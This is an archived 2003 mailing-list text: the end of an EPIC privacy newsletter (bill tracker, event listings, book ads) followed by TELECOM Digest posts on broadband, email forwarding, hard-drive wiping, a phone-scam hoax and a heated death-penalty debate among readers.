Sen Lieberman, Joseph I. (D-CT). Committees: Senate Governmental Affairs. Latest Major Action: 1/7/2003 Referred to Senate committee. Status: Read twice and referred to the Committee on Governmental Affairs. S.113: A bill to exclude United States persons from the definition of ""foreign power"" under the Foreign Intelligence Surveillance Act of 1978 relating to international terrorism. Sponsor: Sen Kyl, Jon (R-AZ). Committees: Senate Judiciary. Latest Major Action: 1/9/2003 Referred to Senate committee. Status: Read twice and referred to the Committee on the Judiciary. S.123: A bill to exclude United States persons from the definition of ""foreign power"" under the Foreign Intelligence Surveillance Act of 1978 relating to international terrorism. Sponsor: Sen Kyl, Jon (R-AZ). Committees: Senate Judiciary. Latest Major Action: 1/9/2003 Referred to Senate committee. Status: Read twice and referred to the Committee on the Judiciary. S.153: A bill to amend title 18, United States Code, to establish penalties for aggravated identity theft, and for other purposes. Sponsor: Sen Feinstein, Dianne (D-CA). Committees: Senate Judiciary. Latest Major Action: 1/14/2003 Referred to Senate committee. Status: Read twice and referred to the Committee on the Judiciary. EPIC Bill Track: Tracking Privacy, Speech, and Cyber-Liberties Bills in the 108th Congress, is available at: http://www.epic.org/privacy/bill_track.html ======================================================================= [8] Upcoming Conferences and Events ======================================================================= 9th Annual Digital Frontier Conference: Technology Means Business. Kellogg School of Management. January 17-18, 2003. Chicago, IL. For more information: http://www.digitalfrontier.org/ O'Reilly Bioinformatics Technology Conference. February 3-6, 2003. San Diego, CA. For more information: http://conferences.oreilly.com/macosxcon/ 10th Annual Network and Distributed System Security Symposium. The Internet Society. February 5-7, 2003. San Diego, CA. For more information: http://www.isoc.org/ndss03/ Politics of Code: Shaping the Future of the Next Internet. Programme in Comparative Media Law and Policy (PCMLP), Oxford University. February 6, 2003. Oxford, England. For more information: http://pcmlp.socleg.ox.ac.uk/code/ Third Annual Privacy & Data Security Summit: Implementing & Managing Privacy in a Complex Environment. International Association of Privacy Professionals. February 26-28, 2003. Washington, DC. For more information: http://www.privacyassociation.org/html/conferences.html Quality Labels for Web Sites: Alternative Approaches to Content Rating. Programme in Comparative Media Law and Policy (PCMLP), Oxford University. February 27, 2003. Kirchberg, Luxembourg. For more information: http://saferinternet.org/news/Events-feb2003.asp The Law and Technology of DRM: What will DRM technologies mean for the future of information? University of California, Berkeley, School of Information Management and Systems and Boalt Hall School of Law. February 27 - March 1, 2003. Berkeley, CA. For more information: http://www.law.berkeley.edu/institutes/bclt/drm/ Legal and Pedagogical Aspects of a Safer Internet. Programme in Comparative Media Law and Policy (PCMLP), Oxford University. February 28, 2003. Kirchberg, Luxembourg. For more information: http://saferinternet.org/news/Events-feb2003.asp Spectrum Policy: Property or Commons? Stanford Law School Center for Internet and Society. March 1, 2003. For more information: http://cyberlaw.stanford.edu/spectrum/ P&AB's Privacy Practitioners' Workshop and Ninth Annual National Conference. Privacy & American Business. March 12-14, 2003. Washington, DC. For more information: http://www.pandab.org/postcard.pdf CFP2003: 13th Annual Conference on Computers, Freedom, and Privacy. Association for Computing Machinery (ACM). April 1-4, 2003. New York, NY. For more information: http://www.cfp2003.org/ 28th Annual AAAS Colloquium on Science and Technology Policy. American Association for the Advancement of Science. April 10-11, 2003. Washington, DC. For more information: http://www.aaas.org/spp/rd/colloqu.htm Integrating Government With New Technologies '03: E-Government, Change and Information Democracy. Riley Information Services. April 11, 2003. Ottawa, Canada. For more information: http://www.rileyis.com/seminars/ RSA Conference 2003. RSA Security. April 13-17, 2003. San Francisco, CA. For more information: http://www.rsaconference.com/ O'Reilly Emerging Technology Conference. April 22-25, 2003. Santa Clara, CA. For more information: http://conferences.oreilly.com/etcon/ O'Reilly Open Source Convention. July 7-11, 2003. Portland, OR. For more information: http://conferences.oreilly.com/oscon/ Privacy2003. Technology Policy Group. September 30 - October 2, 2003. Columbus, OH. For more information: http://www.privacy2000.org/ ======================================================================= EPIC Publications: ""The Privacy Law Sourcebook 2002: United States Law, International Law, and Recent Developments,"" Marc Rotenberg, editor (EPIC 2002). Price: $40. http://www.epic.org/bookstore/pls2002/ The ""Physicians Desk Reference of the privacy world."" An invaluable resource for students, attorneys, researchers and journalists who need an up-to-date collection of U.S. and International privacy law, as well as a comprehensive listing of privacy resources. ================================ ""FOIA 2002: Litigation Under the Federal Open Government Laws,"" Harry Hammitt, David Sobel and Mark Zaid, editors (EPIC 2002). Price: $40. http://www.epic.org/bookstore/foia2002/ This is the standard reference work covering all aspects of the Freedom of Information Act, the Privacy Act, the Government in the Sunshine Act, and the Federal Advisory Committee Act. The 21st edition fully updates the manual that lawyers, journalists and researchers have relied on for more than 25 years. For those who litigate open government cases (or need to learn how to litigate them), this is an essential reference manual. ================================ ""Privacy & Human Rights 2002: An International Survey of Privacy Laws and Developments"" (EPIC 2002). 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Townson DSL vs Cable (Christopher Wolf) Email Forwarders (Joey Lindstrom) Re: Sanitized Hard Drives Prove a Trove of Personal Info (Rich Greenberg) E-mail Acks, was Re: Why Are my Posts Not Showing Up? (Danny Burstein) Boeing Debuts In-Flight, Broadband Internet (Monty Solomon) The ""Latest Telephone Scam"" (Neal McLain) The Digest - Suggestions (Brandon Turok) Ancient Chinese Legend? was Re: So What Has *He* Had to (Danny Burstein) Stiff Drinks (Joey Lindstrom) Spiked Drinks (Joey Lindstrom) Re: What I Have Been Drinking (Gordon S. Hlavenka) Re: Spiked Drinks (Gordon S. Hlavenka) Re: Spiked Drinks (Joey Lindstrom) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Fri, 17 Jan 2003 16:34:03 CST Subject: DSL vs Cable From: Christopher Wolf > [TELECOM Digest Editor's Note: So $58 minus $47 or $61 minus $50 is > still an $11 difference, or what they charge for the 'basic tier'. I > would say if they want to watch television, then add the basic tier, > essentially for free at the new price, however I cannot see what the > advantage would be if they are not into television. For that matter I > really have problems with cable modem service also. I cannot see > where/how it is any faster than DSL, and in fact I've heard rumors > that cable modem users with 'network neighborhood' enabled on their > computers get a lot of spies reading their files, etc. True? PAT] Depends on the cable system. My understanding is that the most common DSL tops out below 1.5Mb/sec and drops off quickly as you move away from the CO. Meanwhile, Time Warner cable modem service in Houston gives 1.5Mb/sec everywhere, and I often see my residential service peak at 2Mb/sec. On the other hand, I've seen plenty of cable modems and DSL services that are much slower, such as 384kb/sec. At least with the cable modem, you don't have to worry about the distance, and there is enough spare bandwidth that you don't have to worry about whether your neighbors are also surfing. Re: network neighborhood, I don't think there is any difference for DSL vs Cable. In both cases, you esentually become part of a larger network, usually the ""internet"", and if you expose those services without a firewall, people will see them. ------------------------------ From: Joey Lindstrom"" Date: Fri, 17 Jan 2003 16:02:56 -0700 Subject: Email Forwarders Reply-To: joey@telussucks.info On Fri, 17 Jan 2003 17:19:51 -0500 (EST), Jack Hamilton wrote: > I have limited sympathy for the subscribers. ATTBI is certainly doing > a bad thing, but there's an old saying that applies here: ""Fool me > once, shame on you; fool me twice, shame on me."" > There are many ways to get a relatively permanent email address. Here > are a few: > 1) You might belong to an organization which provides email forwarding > addresses to its members. The email address I use to post to Usenet > is provided by the Association for Computing Machinery; mail sent to > jfh@acm.org is automatically rerouted to a real mailbox elsewhere. If > that real mailbox goes away because the provider is bought up, no one > but me has to know - I just change the forwarding address, and > jfh@acm.org continues to work. > (I've been using this address on Usenet since 1995, and sometimes I'm > amazed by how much spam I receive. But I still don't use a mangled > address. I use Spamnix instead.) If anyone in telecomland wants such an email forwarder free of charge, drop me a line. I've got the following domain names available - you can have any (not already in use) username in any of these domains, forwarded to whatever mailbox you specify: telussucks.info interocitor.net oldtimeradiovault.com garynuman.info lindstrom.ca With Dave Leibold's permission, I could possibly add wtng.info to that list as well. (If you want to use my services but with your own domain name, that too is doable but at a small price, which I won't name as I ain't gonna spam this mailing list, heh heh! Drop me a line if that's what you need.) -- Joey Lindstrom -- Telus Sucks http://www.telussucks.info ------------------------------ From: richgr@panix.com (Rich Greenberg) Subject: Re: 'Sanitized' Hard Drives Prove a Trove of Personal Info Date: 17 Jan 2003 18:07:29 -0500 Organization: Organized? Me? In article , Monty Solomon wrote: > By Justin Pope, Associated Press, 1/15/2003 15:45 > CAMBRIDGE, Mass. (AP) So, you think you've cleaned all your personal > files from that old computer hard drive you're selling? [...] > [TELECOM Digest Editor's Note: I do not understand why, when people > prepare to sell or otherwise dump an old computer, they do not use > a 'laundry machine' program first, to clean the entire hard drive, > then use added 'bleach' to rewrite garbage on the hard drive at least > five or six times as per NSA recommendations, *then* format the entire > drive. PAT] Because joe average computer user doesn't realize that by deleting a file and emptying the recycle bin/trash they have only removed the directory entry leaving the data still there. While Pat's method would definitely clean the drive beyond readable, unless you expect the government spooks to be searching the hard drive, a single format is enough. There are several Super-erase programs available that overwrite the data in addition to removing (and overwriteing) the directory entry for the cautious among us. Rich Greenberg Work: Rich.Greenberg atsign worldspan.com +1 770-563-6656 N6LRT Marietta, GA, USA Play: richgr atsign panix.com +1 770-321-6507 Eastern time zone. I speak for myself & my dogs only. VM'er since CP-67 Canines:Val(Chinook,CGC,TT), Red & Shasta(Husky,(RIP)) Owner:Chinook-L Atlanta Siberian Husky Rescue. www.panix.com/~richgr/ Asst Owner:Sibernet-L ------------------------------ From: Danny Burs tein Subject: E-Mail Acks, was Re: Why Are my Posts Not Showing Up? Date: Fri, 17 Jan 2003 22:34:20 UTC Organization: PANIX Public Access Internet and UNIX, NYC I've noticed that I only get e-mail acks about (very roughly) half the time. But I know you've gotten the others because they get posted ... (at least when they're good). Knowledge may be power, but communications is the key dannyb@panix.com [to foil spammers, my address has been double rot-13 encoded] [TELECOM Digest Editor's Note: Well you can blame that on the spammers, who have largely made our net unusable in recent years. I send out acks to everyone. Guys who change their email address to avoid spam find the autoreply goes the same place as all the spam. Guys who do not change their email address often times are victimized by over-zealous spam fighting techniques which consider the autoreply itself to be spam. Even entire issues of the Digest do not get out to some people, because they are treated as spam. I have no answers, sorry. PAT] ------------------------------ Date: Fri, 17 Jan 2003 17:42:29 -0500 From: Monty Solomon Subject: Boeing Debuts In-Flight, Broadband Internet By JAMES WALLACE SEATTLE POST-INTELLIGENCER AEROSPACE REPORTER Jan. 16 - Editor's note: P-I aerospace reporter James Wallace was among the journalists on a Lufthansa 747 yesterday that was the first commercial jetliner to use The Boeing Co.'s Connexion Internet service. He filed this report while the 747-400 was flying from Frankfurt, Germany, to Washington, D.C. http://www.msnbc.com/local/PISEA/104318.asp ------------------------------ Date: Fri, 17 Jan 2003 09:22:46 -0600 From: Neal McLain Reply-To: nmclain@annsgarden.com Organization: Ann's Garden Subject: The ""Latest Telephone Scam"" Raymond Mereniuk wrote: > Found this article printed in a local neighborhood > newspaper in the Vancouver, BC area.... > Port Moody Police are warning residents to be aware of > the latest telephone scam.... > Const. Brian Soles said the scam begins when residents > receive a message on their answering machine or pager > asking them to call a number beginning with area code > 809, 284 or 876.... > ""The call will be billed to you at $2,425 per minute."" > the area codes are located in the British Virgin Island > and Bahamas. It seems like it would have been a simple matter for the Coquitlam Now reporter to check her phone book to see if the area codes actually matched the countries. That discrepancy alone should have been enough to make her suspicious about the accuracy of this so-called ""latest telephone scam."" Anyway, I can't wait to see Linc Madison's response to this. He must be getting awfully tired of debunking the same old hoax! Neal McLain nmclain@annsgarden.com ------------------------------ From: Brandon Turok Subject: The Digest - Suggestions Date: Fri, 17 Jan 2003 09:48:32 -0800 Hey Pat, I love reading the Digest, and I think it's wonderful, but is it at all possible to create something like comp.dcom.telecom.montysolomon? Not that I don't enjoy the news, but there's so much of it that it really feels like it's cluttering up the NG and stifling most other conversation. Thanks for listening to my kvetching! Brandon Turok http://www.loonquawl.com/ Dial-A-Machine (925) 288-9825 Free when you call from work [TELECOM Digest Editor's Note: Well, readers? PAT ------------------------------ From: Danny Burstein Subject: Ancient Chinese Legend? was Re: So What Has *He* Had to Drink Date: Fri, 17 Jan 2003 06:53:54 UTC Organization: PANIX Public Access Internet and UNIX, NYC [TELECOM Digest Editor's Note: From HERE to the rest of this current issue, I am just cleaning house, getting rid of all the death penalty messages. I am sorry I brought the topic up. Ms. Davis has not yet responded after two days, I assume she is no longer interested either. I am running these messages because I feel I have an obligation to allow *all* points of view on a topic I raised. No more after now, and I honestly do not care if you read the rest of this issue of the Digest or not. PAT] In Dale Neiburg writes: [ snip ] > This aproach is actually the one used for a thousand years or so in > imperial China. The magistrate who tried a case also served as (in > our terminology) superintendent of police, public prosecutor, and > jury. He was also not only allowed but *encouraged* to use torture to > get a confession. What prevented the grossest abuses was an intricate > system of oversight and a law that if the judge tortured or executed > someone who subsequently turned out to be innocent, the same > torture/method of execution would be inflicted on the judge. On the > whole it worked very well. Nice concept. But without any citations (and I didn't find anything in a web search - which, of course, doesn't prove it didn't happen) this sounds way too much like a Chief Seattle type urban legend. I'll readily concede my knowledge of historical China only goes back as far as the Boxer Rebellion. But I'd really like to see if there's any valid historical proof that this type of checks and balances existed. _____________________________________________________ Knowledge may be power, but communications is the key dannyb@panix.com [to foil spammers, my address has been double rot-13 encoded] ------------------------------ From: Joey Lindstrom Date: Fri, 17 Jan 2003 09:45:19 -0700 Subject: Stiff Drinks Reply-To: joey@telussucks.info On Fri, 17 Jan 2003 01:41:14 -0500 (EST), editor@telecom-digest.org wrote: > The prosecutor was a smart man; he did not intend to leave himself > in any trickbag. I would have had to *prove* that he was part of > any conspiracy, that he knew what the police officer had said to me > and that he (prosecutor) had condoned perjury in the court. I told > the prosecutor I had decided not to prosecute the crime after all, and > excused myself, then left. Like many of the families of victims of > the men on death row, I felt victimized twice also. Once by the > no-good guys who had come into my home and ripped me off; then a > second time by the police officer/prosecutor who had encouraged me > to get up and lie in court, 'so the niggers do not walk away without > punishment'. I'd at least have gone through with my testimony - then explained to the judge exactly what went on in that room. Yes, the ""niggers"" would have got off scot free (which they did anyways when you walked away), but at least you'd have publicly embarrassed the prosecutor and cop, and maybe, just maybe, gotten them in a bit of trouble. > You see Joey, you're the one who needs the stiff drink tonight, not > Gordon H. who you abused in your message. He lives around the > Chicago area like I used to; he knows how things work there. PAT] What you and Gordon have described is gross misconduct and certainly ""criminal"" behaviour, for which these people should spend time in prison (preferably sharing the same cell as those they've convicted). But Gordon advocated killing these people. It seems grossly disproportionate, thus I questioned just what he'd been drinking - I still do. At worst, if you could prove (beyond a reasonable doubt) that a prosecutor knowingly put someone on death row when he knew (or should have known) that that person was not guilty of a capital crime, the prosecutor should be found guilty of attempted murder. And attempted murder, though a heinous crime in and of itself, does NOT merit the death penalty. Pat, some time ago you got on my case because I stated that that kid out in California deserved the chair. How can you advocate leniency and understanding in that case, yet defend Gordon's proposal that prosecutors guilty of misconduct should be put to death? Don't you see the contradiction here? Don't you see that Gordon and yourself are both guilty of the ""reactionary"", ""let's lynch 'em!"" attitude you accused ME of? Several folks, myself included, have accused John Higdon of living in his own little world and not seeing the bigger picture. I think maybe the same could be said of you, Pat. Yes, from all accounts, Chicago's justice system is rife with corruption (though I have trouble believing that every single police officer, prosecutor, and judge is corrupt). But Chicago is a worst-case scenario. Don't get me wrong - it needs fixing. Badly. But it does NOT reflect the rest of the USA and the rest of the world. You seem only able to look at criminal justice cases in other places through the lens of your Chicago experience, and I think that's a shame. There are a lot of honest, hard-working police officers and prosecutors out there. It's too bad they all get tarred with the same brush. They are ALL that stands between us and complete chaos. -- Joey Lindstrom -- Telus Sucks http://www.telussucks.info ------------------------------ From: Joey Lindstrom Date: Fri, 17 Jan 2003 12:52:56 -0700 Subject: Spiked Drinks Reply-To: joey@telussucks.info On Fri, 17 Jan 2003 13:26:31 -0600, Gordon S. Hlavenka wrote: > PAT - I sent this direct to Joey but I thought you should see it also. > Again, your call on whether to continue the Digest thread. >> If the cops cook the evidence and >> present it to her, and she doesn't know the evidence is cooked, then >> why in hell should she be subject to frying in the chair? > It is her job, as prosecutor, to ENSURE that the evidence is NOT cooked. > Her life is literally on the line -- as is the life of the accused. If > she is not willing to risk her own life on the evidence, she has no > right to risk John's life either. And how is she expected to do that, Gordon? I would really like your thoughts on that - I've had a lousy day and REALLY could do with a good laugh right now. There is no way to ENSURE that evidence is not cooked in any case - period. Not even if she dispenses with the police and conducts the entire investigation herself - interviewing witnesses, conducting DNA testing, the whole nine yards. At some point, you have to rely on your witnesses in the witness box, and while you may believe with all of your heart that they are telling God's own truth, they COULD BE LYING. And you would have us execute Jane because somebody else lied? You would punish her for the behaviour of somebody else? What if she did everything she could think of, but either didn't think to ask someone a particular question or simply forgot to? Tough - kill her. We sentence you to death for doing your job incompetently (or less than brilliantly, as the case may be). > So let's say she legitimately believes the evidence is clean. > Obviously, the detectives would know it's not, and yet they allow > her to proceed with a Capital case. Jane's kin (and/or the > Prosecutor's office) would probably send up the detectives for > murdering Jane. They might all fry together. Knowing this > potential outcome would (or should) deter the detectives from faking > evidence in the first place. Whoa there, pardner. Back up a second. You actually think it's ok to have a system in place whereby the state will execute Jane BECAUSE SHE WAS DECEIVED INTO A FALSE PROSECUTION? I got news for you: it doesn't work that way. We don't use strict liability for serious cases like this, and Lord help us if we ever do. You HAVE to prove that Jane actively conspired with the detectives and/or others to falsely convict someone of a capital crime - she had to KNOWINGLY do this. In the example above, you not only haven't proved this, you also say it's ok for Jane to get fried EVEN THOUGH SHE LEGITIMATELY BELIEVED HER CASE WAS CLEAN. We then tell her family: ""yeah, those cops probably set her up - too bad we had to croak her. You might wanna go after those cops, prove they set her up, and get them fried too."" I ask you again, Gordon. What exactly have you been drinking? I'm guessing some really cheap tequila. > As I said, this has no chance of actually being implemented in today's > world. But apparently the Chinese beat me to it by a millennium or so. Right. And there's a reason it's not done anymore. Similar to the reasons why we don't live in caves anymore, and why we don't bonk women we want to have sex with over the head and drag them back to our cave by their hair (though some guys in bars are only BARELY better behaved, I'll admit). We are trying to civilize ourselves, and aren't interested in going back 1000 years in time. It's ironic. Normally it's we conservatives being accused of wanting to live in the past and go back to the old days. At least we only want to go back to the 1950's, not the 1000's. :-) Ironic also, that you (and Pat) would advocate a system whereby it's really easy to (literally) condemn a prosecutor for not doing their job well enough (or in bad faith), yet condemn our current system for making it too easy to condemn people who were in the wrong place at the wrong time (""c'mon, take the deal, or you'll get a much longer sentence!"") Typical liberalism - think with the heart, not with the head. -- Joey Lindstrom -- Telus Sucks http://www.telussucks.info ------------------------------ Date: Fri, 17 Jan 2003 13:26:31 -0600 From: Gordon S. Hlavenka Reply-To: nospam@crashelex.com Organization: Crash Electronics, Inc. Subject: Re: What I Have Been Drinking PAT - I sent this direct to Joey but I thought you should see it also. Again, your call on whether to continue the Digest thread. > If the cops cook the evidence and > present it to her, and she doesn't know the evidence is cooked, then > why in hell should she be subject to frying in the chair? It is her job, as prosecutor, to ENSURE that the evidence is NOT cooked. Her life is literally on the line -- as is the life of the accused. If she is not willing to risk her own life on the evidence, she has no right to risk John's life either. So let's say she legitimately believes the evidence is clean. Obviously, the detectives would know it's not, and yet they allow her to proceed with a Capital case. Jane's kin (and/or the Prosecutor's office) would probably send up the detectives for murdering Jane. They might all fry together. Knowing this potential outcome would (or should) deter the detectives from faking evidence in the first place. As I said, this has no chance of actually being implemented in today's world. But apparently the Chinese beat me to it by a millennium or so. Gordon S. Hlavenka www.crashelex.com nospam@crashelex.com Grammar and spelling flames welcome. Yes, that's really my email address. Don't change it. ------------------------------ Date: Fri, 17 Jan 2003 14:56:03 -0600 From: Gordon S. Hlavenka Reply-To: nospam@crashelex.com Organization: Crash Electronics, Inc. Subject: Re: Spiked Drinks [ Let's do this: CC Pat on our discussion (because I think he's interested) and he can decide what, if anything, to forward to the Digest ] [TELECOM Digest Editor's Note: Let's not do that. Its a closed topic now that you have both had your say-so. PAT] Joey Lindstrom wrote: > And how is she expected to do that, Gordon? I would really like your > thoughts on that - I've had a lousy day and REALLY could do with a good > laugh right now. I'm not sure whether a career in stand-up comedy is in my future, but I'll see what I can do for you. > There is no way to ENSURE that evidence is not cooked in any case - > period. Not even if she dispenses with the police and conducts the > entire investigation herself - interviewing witnesses, conducting DNA > testing, the whole nine yards. At some point, you have to rely on your > witnesses in the witness box, and while you may believe with all of > your heart that they are telling God's own truth, they COULD BE LYING. Yup. But you're missing a key point: Nobody's _requiring_ Jane to go for the kill in any case. The particular case I made up wasn't really worthy of Capital Punishment in the first place: No direct witnesses, and what evidence they had was mostly circumstantial. Jane was an idiot for making the call she made. But then, I invented Jane, and I invented her as exactly the kind of idiot I needed for demonstration purposes. > And you would have us execute Jane because somebody else lied? You > would punish her for the behaviour of somebody else? Nope. I would punish her for her own behaviour: Pursuing Capital Punishment in a case where it wasn't warranted. > What if she did everything she could think of, but either didn't think > to ask someone a particular question or simply forgot to? Tough - kill > her. We sentence you to death for doing your job incompetently (or > less than brilliantly, as the case may be). You're beginning to catch on! Prosecutors who ask for Capital Punishment must perform their jobs -- all facets -- with mathematical perfection. Someone's life is in the balance, we can ask for no less. Like a nuclear weapon, Capital Punishment is intended to work as a deterrent: When it must actually be _used_, that means it has failed. But to fail to use it when it's prescribed makes it useless. > Whoa there, pardner. Back up a second. You actually think it's ok to > have a system in place whereby the state will execute Jane BECAUSE SHE > WAS DECEIVED INTO A FALSE PROSECUTION? Yup. It's her job not to be deceivable. She didn't HAVE to call for Capital Punishment. She could decide the evidence isn't strong enough to risk a life on, and opt for some other punishment. > I got news for you: it doesn't work that way. We don't use strict > liability for serious cases like this, and Lord help us if we ever do. > You HAVE to prove that Jane actively conspired with the detectives > and/or others to falsely convict someone of a capital crime - she had > to KNOWINGLY do this. Under current law, yes. But keep in mind, I'm suggesting a change to current law. > In the example above, you not only haven't > proved this, you also say it's ok for Jane to get fried EVEN THOUGH SHE > LEGITIMATELY BELIEVED HER CASE WAS CLEAN. As I said, you're beginning to catch on. I didn't say it was ""OK"" for her to fry, but that she must. A thin but critical semantic difference. > We then tell her family: > ""yeah, those cops probably set her up - too bad we had to croak her. > You might wanna go after those cops, prove they set her up, and get > them fried too."" I'm pretty sure the family would reach this conclusion without outside assistance. But nobody has to prove the detectives ""set her up"". They only need to prove that the detectives faked evidence (which was already proven as part of John's exoneration) and that their actions led to Jane's death. > I ask you again, Gordon. What exactly have you been drinking? I'm > guessing some really cheap tequila. Mostly RC cola. Tequila tastes like turpentine. > Ironic also, that you > (and Pat) would advocate a system whereby it's really easy to > (literally) condemn a prosecutor for not doing their job well enough > (or in bad faith) I believe that someone who calls for the execution of another person should be willing to put their own life on the line. > yet condemn our current system for making it too > easy to condemn people who were in the wrong place at the wrong time I try to stay out of ""wrong places"" -- been in a couple, and left as soon as I figured it out. Almost certainly avoided some (undeserved) jail time in one case, as Bad Things happened shortly after I left. > Typical liberalism - think with the heart, not with the head. I'm fairly liberal in some respects, and fairly conservative in others. But I take umbrage at being called ""typical"". Gordon S. Hlavenka www.crashelex.com nospam@crashelex.com Grammar and spelling flames welcome. Yes, that's really my email address. Don't change it. ------------------------------ From: Joey Lindstrom Date: Fri, 17 Jan 2003 16:15:47 -0700 Subject: Re: Spiked Drinks Reply-To: joey@telussucks.info On Fri, 17 Jan 2003 14:56:03 -0600, Gordon S. Hlavenka wrote: > [ Let's do this: CC Pat on our discussion (because I think he's > interested) and he can decide what, if anything, to forward to the > Digest ] Agreed. (But it looks like Pat's already shut this down in the Digest) [TELECOM Digest Editor's Note: I sure have, thank you! PAT] >> There is no way to ENSURE that evidence is not cooked in any case - >> period. Not even if she dispenses with the police and conducts the >> entire investigation herself - interviewing witnesses, conducting DNA >> testing, the whole nine yards. At some point, you have to rely on your >> witnesses in the witness box, and while you may believe with all of >> your heart that they are telling God's own truth, they COULD BE LYING. > Yup. But you're missing a key point: Nobody's _requiring_ Jane to go > for the kill in any case. The particular case I made up wasn't really > worthy of Capital Punishment in the first place: No direct witnesses, > and what evidence they had was mostly circumstantial. Jane was an idiot > for making the call she made. But then, I invented Jane, and I invented > her as exactly the kind of idiot I needed for demonstration purposes. Yes I know this - but what I did was postulate another hypothetical case. Under your plan, ""Jane"" comes across a case that appears air-tight. She's got a Dahmer-like guy that needs to be put out of her misery. She dots all her i's and crosses all her t's, does everything exactly the way she was supposed to do it, and gets the conviction. Afterwards, she sleeps well at night, knowing she got a monster off the streets. Then, a few months later, one of the police detectives cracks. Seems he and his cohorts set this guy up - he was never guilty of these crimes. Someone ELSE out there did it, and he's still loose. In that situation, you advocate Jane's death. Sorry, but you just ain't gonna convince me that this is A Good Idea. >> And you would have us execute Jane because somebody else lied? You >> would punish her for the behaviour of somebody else? > Nope. I would punish her for her own behaviour: Pursuing Capital > Punishment in a case where it wasn't warranted. And if all the evidence at the time suggested it WAS warranted, as above? >> What if she did everything she could think of, but either didn't think >> to ask someone a particular question or simply forgot to? Tough - kill >> her. We sentence you to death for doing your job incompetently (or >> less than brilliantly, as the case may be). > You're beginning to catch on! Prosecutors who ask for Capital > Punishment must perform their jobs -- all facets -- with mathematical > perfection. Then let's kill off all the humans and replace them with robots. Because that's what you're going to need in order to make your little utopia work. > Someone's life is in the balance, we can ask for no less. > Like a nuclear weapon, Capital Punishment is intended to work as a > deterrent: When it must actually be _used_, that means it has failed. No, when it must actually be used, it means SOCIETY has failed to some degree, in that it failed to educate the perp as to what behaviours are, and are not, acceptable. Then again, some people just have a genetic predisposition to be naughty. But I've never really been one to buy into this idea that deterrence is the main idea behind capital punishment. I firmly believe that some people SO offend the rest of us that they have to be put down, like mad dogs. When we kill a mad dog, we don't do it with the hope that the other neighbourhood dogs will see it and think to themselves, ""whoa!, I guess I better not do THAT or they're gonna shoot me!"" >> Whoa there, pardner. Back up a second. You actually think it's ok to >> have a system in place whereby the state will execute Jane BECAUSE SHE >> WAS DECEIVED INTO A FALSE PROSECUTION? > Yup. It's her job not to be deceivable. She didn't HAVE to call for > Capital Punishment. She could decide the evidence isn't strong enough > to risk a life on, and opt for some other punishment. Nobody is impervious to being deceived. Ergo, you are advocating the abolition of prosecution. >> I got news for you: it doesn't work that way. We don't use strict >> liability for serious cases like this, and Lord help us if we ever do. >> You HAVE to prove that Jane actively conspired with the detectives >> and/or others to falsely convict someone of a capital crime - she had >> to KNOWINGLY do this. > Under current law, yes. But keep in mind, I'm suggesting a change to > current law. Which would change not only current law, but one of the fundamental principles underlying ALL current law. No, it ain't gonna fly - not in this society. Ancient China, perhaps. The world under Saddam and Bin Laden, perhaps ... > But nobody has to prove the detectives ""set her up"". They only need to > prove that the detectives faked evidence (which was already proven as > part of John's exoneration) and that their actions led to Jane's death. And while she's at it, they can go after *YOU*, for supporting this change to the law that led directly to her death. >> I ask you again, Gordon. What exactly have you been drinking? I'm >> guessing some really cheap tequila. > Mostly RC cola. Tequila tastes like turpentine. I have no idea what turpentine tastes like. I'm guessing that your particular experience ingesting that fluid is quite recent. >> Ironic also, that you >> (and Pat) would advocate a system whereby it's really easy to >> (literally) condemn a prosecutor for not doing their job well enough >> (or in bad faith) > I believe that someone who calls for the execution of another person > should be willing to put their own life on the line. And what colour is the sky on your planet? >> yet condemn our current system for making it too >> easy to condemn people who were in the wrong place at the wrong time > I try to stay out of ""wrong places"" -- been in a couple, and left as > soon as I figured it out. Almost certainly avoided some (undeserved) > jail time in one case, as Bad Things happened shortly after I left. And there, but for the grace of God, go you. Pity poor Jane. >> Typical liberalism - think with the heart, not with the head. > I'm fairly liberal in some respects, and fairly conservative in others. > But I take umbrage at being called ""typical"". OK, I'll take back my ""typical liberal"" statement. I'll replace it with ""left-wing extremist"", as it seems a better fit. -- Joey Lindstrom -- Telus Sucks http://www.telussucks.info [TELECOM Digest Editor's Note: The topic is now closed, as of this minute. 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End of TELECOM Digest V22 #242 ****************************** >From editor@telecom-digest.org Sat Jan 18 18:47:58 2003 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id h0INlwO07769; Sat, 18 Jan 2003 18:47:58 -0500 (EST) Date: Sat, 18 Jan 2003 18:47:58 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200301182347.h0INlwO07769@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #243 TELECOM Digest Sat, 18 Jan 2003 18:48:00 EST Volume 22 : Issue 243 Inside This Issue: Editor: Patrick A. Townson Re: AT&T Broadband Users See 3rd E-Mail Shift (Brandon Turok) Re: AT&T Broadband Raises Prices For Cablemodem Service (Geoffrey Welsh) Re: Mobile Operators' Regulatory Time Bomb (Linc Madison) Re: Tail (SELLCOM Tech Support) (David B. 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Howe, Globe Staff, 1/16/2003 > In a move likely to anger thousands of its customers, AT&T Broadband > confirmed yesterday that its recent acquisition by Comcast Corp. will > force more than 200,000 New England cable Internet modem subscribers > to get their third e-mail address in barely a year. > AT&T spokeswoman Jennifer L. Khoury said the company expects to begin > making the switch from e-mail addresses ending in attbi.com to > comcast.net starting in March. It will affect more than 2 million > subscribers nationally. Mail sent to old attbi.com e-mail addresses > may be forwarded to the new comcast.net addresses for as few as 60 > days before the attbi.com addresses are shut down, the company said. > Subscribers who were outraged last March over being forced to notify > scores of friends, business associates, Internet newsletters, and > online merchants when the company changed e-mail from mediaone.net to > attbi.com blasted the latest planned switchover yesterday. http://www.boston.com/dailyglobe2/016/business/AT_T_Broadband_users_see_3d_e _mail_shift+.shtml ------------------------------ From: Geoffrey Welsh Subject: Re: 